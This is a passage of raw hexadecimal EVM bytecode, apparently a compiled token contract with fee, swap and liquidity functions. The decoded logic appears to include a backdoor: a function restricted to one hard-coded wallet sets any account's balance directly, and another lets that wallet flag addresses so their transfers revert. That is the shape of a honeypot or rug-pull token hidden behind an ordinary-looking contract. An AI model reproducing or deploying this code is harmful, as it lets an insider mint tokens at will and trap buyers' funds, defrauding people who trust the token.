1b620028411790919060201c565b620009b460201b620028411790919060201c565b6018819055506001600b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073701bde8fcc685e78743302f7fc378b3dbf52fd61600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073701bde8fcc685e78743302f7fc378b3dbf52fd61600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060195460056000620008b26200098360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620009006200098360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673bf74f21bb6968d02cb75a7717d1ead290b6561c273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60195460405162000974919062000ba8565b60405180910390a35062000f60565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808284620009c5919062000bd6565b90508381101562000a0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a049062000b86565b60405180910390fd5b8091505092915050565b82805462000a259062000e77565b90600052602060002090601f01602090048101928262000a49576000855562000a95565b82601f1062000a6457805160ff191683800117855562000a95565b8280016001018555821562000a95579182015b8281111562000a9457825182559160200191906001019062000a77565b5b50905062000aa4919062000aa8565b5090565b5b8082111562000ac357600081600090555060010162000aa9565b5090565b60008151905062000ad88162000f46565b92915050565b60006020828403121562000af75762000af662000f0b565b5b600062000b078482850162000ac7565b91505092915050565b62000b1b8162000e2c565b82525050565b600062000b30601b8362000bc5565b915062000b3d8262000f1d565b602082019050919050565b62000b538162000e60565b82525050565b600060408201905062000b70600083018562000b10565b62000b7f602083018462000b10565b9392505050565b6000602082019050818103600083015262000ba18162000b21565b9050919050565b600060208201905062000bbf600083018462000b48565b92915050565b600082825260208201905092915050565b600062000be38262000e60565b915062000bf08362000e60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c285762000c2762000ead565b5b828201905092915050565b6000808291508390505b600185111562000c855780860481111562000c5d5762000c5c62000ead565b5b600185161562000c6d5780820291505b808102905062000c7d8562000f10565b945062000c3d565b94509492505050565b600062000c9b8262000e60565b915062000ca88362000e6a565b925062000cd77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cdf565b905092915050565b60008262000cf1576001905062000dc4565b8162000d01576000905062000dc4565b816001811462000d1a576002811462000d255762000d5b565b600191505062000dc4565b60ff84111562000d3a5762000d3962000ead565b5b8360020a91508482111562000d545762000d5362000ead565b5b5062000dc4565b5060208310610133831016604e8410600b841016171562000d955782820a90508381111562000d8f5762000d8e62000ead565b5b62000dc4565b62000da4848484600162000c33565b9250905081840481111562000dbe5762000dbd62000ead565b5b81810290505b9392505050565b600062000dd88262000e60565b915062000de58362000e60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e215762000e2062000ead565b5b828202905092915050565b600062000e398262000e40565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e9057607f821691505b6020821081141562000ea75762000ea662000edc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000f518162000e2c565b811462000f5d57600080fd5b50565b60805160601c6149b862000f86600039600081816110e7015261111301526149b86000f3fe6080604052600436106103855760003560e01c80638b42507f116101d1578063c469b6dd11610102578063d469a209116100a0578063f0cd1dac1161006f578063f0cd1dac14610d85578063f1d5f51714610db0578063f2fde38b14610dd9578063f872858a14610e025761038c565b8063d469a20914610cc9578063da00097d14610cf2578063dc44b6a014610d1d578063dd62ed3e14610d485761038c565b8063c816841b116100dc578063c816841b14610c0b578063c860795214610c36578063c867d60b14610c61578063cab0347114610c9e5761038c565b8063c469b6dd14610b8c578063c49b9a8014610bb7578063c5d2418914610be05761038c565b8063a5d69d1f1161016f578063ae2116b811610149578063ae2116b814610ac0578063b20a4e5a14610afd578063b3ca68b414610b3a578063c2d4640e14610b635761038c565b8063a5d69d1f14610a2f578063a83f53a714610a58578063a9059cbb14610a835761038c565b8063a073d37f116101ab578063a073d37f14610973578063a08e671f1461099e578063a2a62722146109c9578063a457c2d7146109f25761038c565b80638b42507f146108e05780638da5cb5b1461091d57806395d89b41146109485761038c565b80633b97084a116102b65780636249faf1116102545780637dc94d5f116102235780637dc94d5f14610822578063807c2d9c1461085f57806382eefb431461088a57806388790a68146108b55761038c565b80636249faf11461076857806370a0823114610791578063715266fe146107ce5780637d1db4a5146107f75761038c565b80634a74bb02116102905780634a74bb02146106aa57806357a5802f146106d55780635881f3ef1461070057806361a23c691461073d5761038c565b80633b97084a1461061b5780633ecad2711461064457806340f756b5146106815761038c565b80632563ae83116103235780632c4b2334116102fd5780632c4b233414610561578063313ce5671461058a57806335d23615146105b557806339509351146105de5761038c565b80632563ae83146104e257806327c8f8351461050b5780632b112e49146105365761038c565b80631245e3471161035f5780631245e347146104245780631694505e1461044f57806318160ddd1461047a57806323b872dd146104a55761038c565b806306fdde0314610391578063090af428146103bc578063095ea7b3146103e75761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610e2d565b6040516103b39190614175565b60405180910390f35b3480156103c857600080fd5b506103d1610ebf565b6040516103de919061409a565b60405180910390f35b3480156103f357600080fd5b5061040e60048036038101906104099190613cc3565b610ee5565b60405161041b919061413f565b60405180910390f35b34801561043057600080fd5b50610439610f03565b604051610446919061409a565b60405180910390f35b34801561045b57600080fd5b50610464610f29565b604051610471919061415a565b60405180910390f35b34801561048657600080fd5b5061048f610f4f565b60405161049c9190614277565b60405180910390f35b3480156104b157600080fd5b506104cc60048036038101906104c79190613c70565b610f59565b6040516104d9919061413f565b60405180910390f35b3480156104ee57600080fd5b5061050960048036038101906105049190613d63565b611033565b005b34801561051757600080fd5b506105206110e5565b60405161052d919061407f565b60405180910390f35b34801561054257600080fd5b5061054b611109565b6040516105589190614277565b60405180910390f35b34801561056d57600080fd5b5061058860048036038101906105839190613bd6565b61114d565b005b34801561059657600080fd5b5061059f611226565b6040516105ac919061431c565b60405180910390f35b3480156105c157600080fd5b506105dc60048036038101906105d79190613bd6565b61123d565b005b3480156105ea57600080fd5b5061060560048036038101906106009190613cc3565b611316565b604051610612919061413f565b60405180910390f35b34801561062757600080fd5b50610642600480360381019061063d9190613d90565b6113c9565b005b34801561065057600080fd5b5061066b60048036038101906106669190613bd6565b611468565b604051610678919061413f565b60405180910390f35b34801561068d57600080fd5b506106a860048036038101906106a39190613d03565b611488565b005b3480156106b657600080fd5b506106bf6115ef565b6040516106cc919061413f565b60405180910390f35b3480156106e157600080fd5b506106ea611602565b6040516106f79190614277565b60405180910390f35b34801561070c57600080fd5b5061072760048036038101906107229190613bd6565b611608565b604051610734919061407f565b60405180910390f35b34801561074957600080fd5b50610752611b66565b60405161075f9190614277565b60405180910390f35b34801561077457600080fd5b5061078f600480360381019061078a9190613d03565b611b6c565b005b34801561079d57600080fd5b506107b860048036038101906107b39190613bd6565b611ca6565b6040516107c59190614277565b60405180910390f35b3480156107da57600080fd5b506107f560048036038101906107f09190613d03565b611cef565b005b34801561080357600080fd5b5061080c611e29565b6040516108199190614277565b60405180910390f35b34801561082e57600080fd5b5061084960048036038101906108449190613bd6565b611e2f565b604051610856919061413f565b60405180910390f35b34801561086b57600080fd5b50610874611e4f565b6040516108819190614277565b60405180910390f35b34801561089657600080fd5b5061089f611e55565b6040516108ac9190614277565b60405180910390f35b3480156108c157600080fd5b506108ca611e5b565b6040516108d79190614277565b60405180910390f35b3480156108ec57600080fd5b5061090760048036038101906109029190613bd6565b611e61565b604051610914919061413f565b60405180910390f35b34801561092957600080fd5b50610932611e81565b60405161093f919061407f565b60405180910390f35b34801561095457600080fd5b5061095d611eaa565b60405161096a9190614175565b60405180910390f35b34801561097f57600080fd5b50610988611f3c565b6040516109959190614277565b60405180910390f35b3480156109aa57600080fd5b506109b3611f46565b6040516109c09190614277565b60405180910390f35b3480156109d557600080fd5b506109f060048036038101906109eb9190613dbd565b611f4c565b005b3480156109fe57600080fd5b50610a196004803603810190610a149190613cc3565b61202c565b604051610a26919061413f565b60405180910390f35b348015610a3b57600080fd5b50610a566004803603810190610a519190613d63565b6120f9565b005b348015610a6457600080fd5b50610a6d6121ab565b604051610a7a9190614277565b60405180910390f35b348015610a8f57600080fd5b50610aaa6004803603810190610aa59190613cc3565b6121b1565b604051610ab7919061413f565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae29190613bd6565b6121d0565b604051610af4919061413f565b60405180910390f35b348015610b0957600080fd5b50610b246004803603810190610b1f9190613bd6565b6121f0565b604051610b31919061413f565b60405180910390f35b348015610b4657600080fd5b50610b616004803603810190610b5c9190613cc3565b612210565b005b348015610b6f57600080fd5b50610b8a6004803603810190610b859190613dbd565b612290565b005b348015610b9857600080fd5b50610ba1612370565b604051610bae9190614277565b60405180910390f35b348015610bc357600080fd5b50610bde6004803603810190610bd99190613d63565b612376565b005b348015610bec57600080fd5b50610bf561245f565b604051610c029190614277565b60405180910390f35b348015610c1757600080fd5b50610c20612465565b604051610c2d919061407f565b60405180910390f35b348015610c4257600080fd5b50610c4b61248b565b604051610c589190614277565b60405180910390f35b348015610c6d57600080fd5b50610c886004803603810190610c839190613bd6565b612491565b604051610c95919061413f565b60405180910390f35b348015610caa57600080fd5b50610cb36124b1565b604051610cc09190614277565b60405180910390f35b348015610cd557600080fd5b50610cf06004803603810190610ceb9190613dbd565b6124b7565b005b348015610cfe57600080fd5b50610d07612597565b604051610d14919061413f565b60405180910390f35b348015610d2957600080fd5b50610d326125aa565b604051610d3f9190614277565b60405180910390f35b348015610d5457600080fd5b50610d6f6004803603810190610d6a9190613c30565b6125b0565b604051610d7c9190614277565b60405180910390f35b348015610d9157600080fd5b50610d9a612637565b604051610da79190614277565b60405180910390f35b348015610dbc57600080fd5b50610dd76004803603810190610dd29190613d90565b61263d565b005b348015610de557600080fd5b50610e006004803603810190610dfb9190613bd6565b6126dc565b005b348015610e0e57600080fd5b50610e1761282e565b604051610e24919061413f565b60405180910390f35b606060018054610e3c90614583565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6890614583565b8015610eb55780601f10610e8a57610100808354040283529160200191610eb5565b820191906000526020600020905b815481529060010190602001808311610e9857829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ef9610ef261289f565b84846128a7565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610f66848484612a72565b5061102884610f7361289f565b6110238560405180606001604052806028815260200161493660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fd961289f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9c9092919063ffffffff16565b6128a7565b600190509392505050565b61103b61289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf90614217565b60405180910390fd5b80601e60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111486111377f0000000000000000000000000000000000000000000000000000000000000000611ca6565b601954612f0090919063ffffffff16565b905090565b61115561289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d990614217565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b61124561289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990614217565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113bf61132361289f565b846113ba856006600061133461289f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b6128a7565b6001905092915050565b6113d161289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590614217565b60405180910390fd5b80601c8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6114b6600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600133612f4a565b6114bf576115ea565b60005b838390508110156115e8578115611557576001600c60008686858181106114ec576114eb61468b565b5b90506020020160208101906115019190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506115d7565b6000600c60008686858181106115705761156f61468b565b5b90506020020160208101906115859190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806115e1906145b5565b90506114c2565b505b505050565b601e60159054906101000a900460ff1681565b60135481565b600061161261289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461169f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169690614217565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ea57600080fd5b505afa1580156116fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117229190613c03565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561178457600080fd5b505afa158015611798573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117bc9190613c03565b6040518363ffffffff1660e01b81526004016117d99291906140b5565b60206040518083038186803b1580156117f157600080fd5b505afa158015611805573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118299190613c03565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ea578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156118a657600080fd5b505afa1580156118ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118de9190613c03565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194057600080fd5b505afa158015611954573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119789190613c03565b6040518363ffffffff1660e01b81526004016119959291906140b5565b602060405180830381600087803b1580156119af57600080fd5b505af11580156119c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e79190613c03565b91505b81601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60145481565b611b7461289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf890614217565b60405180910390fd5b60005b83839050811015611ca0578160086000868685818110611c2757611c2661468b565b5b9050602002016020810190611c3c9190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611c98906145b5565b915050611c04565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611cf761289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90614217565b60405180910390fd5b60005b83839050811015611e23578160076000868685818110611daa57611da961468b565b5b9050602002016020810190611dbf9190613bd6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e1b906145b5565b915050611d87565b50505050565b601a5481565b600c6020528060005260406000206000915054906101000a900460ff1681565b601b5481565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611eb990614583565b80601f0160208091040260200160405190810160405280929190818152602001828054611ee590614583565b8015611f325780601f10611f0757610100808354040283529160200191611f32565b820191906000526020600020905b815481529060010190602001808311611f1557829003601f168201915b5050505050905090565b6000601c54905090565b60185481565b611f5461289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890614217565b60405180910390fd5b82601081905550816011819055508060128190555061202160125461201360115460105461284190919063ffffffff16565b61284190919063ffffffff16565b601781905550505050565b60006120ef61203961289f565b846120ea8560405180606001604052806025815260200161495e602591396006600061206361289f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9c9092919063ffffffff16565b6128a7565b6001905092915050565b61210161289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218590614217565b60405180910390fd5b80601e60166101000a81548160ff02191690831515021790555050565b60155481565b60006121c56121be61289f565b8484612a72565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b61223e600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600133612f4a565b6122475761228c565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b61229861289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231c90614217565b60405180910390fd5b82601381905550816014819055508060158190555061236560155461235760145460135461284190919063ffffffff16565b61284190919063ffffffff16565b601881905550505050565b600f5481565b61237e61289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461240b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240290614217565b60405180910390fd5b80601e60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612454919061413f565b60405180910390a150565b600e5481565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b6124bf61289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461254c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254390614217565b60405180910390fd5b82600d8190555081600e8190555080600f8190555061258c600f5461257e600e54600d5461284190919063ffffffff16565b61284190919063ffffffff16565b601681905550505050565b601e60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60165481565b61264561289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c990614217565b60405180910390fd5b80601b8190555050565b6126e461289f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276890614217565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601e60179054906101000a900460ff1681565b6000808284612850919061438c565b905083811015612895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288c906141d7565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290e90614257565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297e906141b7565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a659190614277565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ada90614237565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4a90614197565b60405180910390fd5b601e60149054906101000a900460ff1615612b7a57612b73848484612f91565b9050612e95565b6000612b8530611ca6565b90506000601c548210159050808015612bab5750601e60149054906101000a900460ff16155b8015612c015750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c195750601e60159054906101000a900460ff165b15612c4357601e60169054906101000a900460ff1615612c3957601c5491505b612c4282613164565b5b612c9584600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d7b5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d8f57612d8a878787613355565b612d91565b845b9050612de581600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e859190614277565b60405180910390a3600193505050505b9392505050565b6000838311158290612ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612edb9190614175565b60405180910390fd5b5060008385612ef3919061446d565b9050809150509392505050565b6000612f4283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612e9c565b905092915050565b6000828015612f8857508173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515155b90509392505050565b600061301c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9c9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130b182600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131519190614277565b60405180910390a3600190509392505050565b6001601e60146101000a81548160ff02191690831515021790555060006131bd60026131af6018546131a16013548761362590919063ffffffff16565b6136a090919063ffffffff16565b6136a090919063ffffffff16565b905060006131d48284612f0090919063ffffffff16565b90506131df816136ea565b600047905060006132106131ff60026013546136a090919063ffffffff16565b601854612f0090919063ffffffff16565b9050600061324e6002613240846132326013548861362590919063ffffffff16565b6136a090919063ffffffff16565b6136a090919063ffffffff16565b905060006132798361326b6015548761362590919063ffffffff16565b6136a090919063ffffffff16565b905060006132a2826132948588612f0090919063ffffffff16565b612f0090919063ffffffff16565b905060008111156132da576132d9600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613975565b5b60008211156133105761330f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613975565b5b6000831180156133205750600087115b156133305761332f87846139c0565b5b505050505050506000601e60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661340557600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561340457600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156134865761347f60646134716016548661362590919063ffffffff16565b6136a090919063ffffffff16565b9050613504565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135035761350060646134f26017548661362590919063ffffffff16565b6136a090919063ffffffff16565b90505b5b60008111156136085761355f81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516135ff9190614277565b60405180910390a35b61361b8184612f0090919063ffffffff16565b9150509392505050565b600080831415613638576000905061369a565b600082846136469190614413565b905082848261365591906143e2565b14613695576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161368c906141f7565b60405180910390fd5b809150505b92915050565b60006136e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613ab4565b905092915050565b6000600267ffffffffffffffff811115613707576137066146ba565b5b6040519080825280602002602001820160405280156137355781602001602082028036833780820191505090505b509050308160008151811061374d5761374c61468b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156137ef57600080fd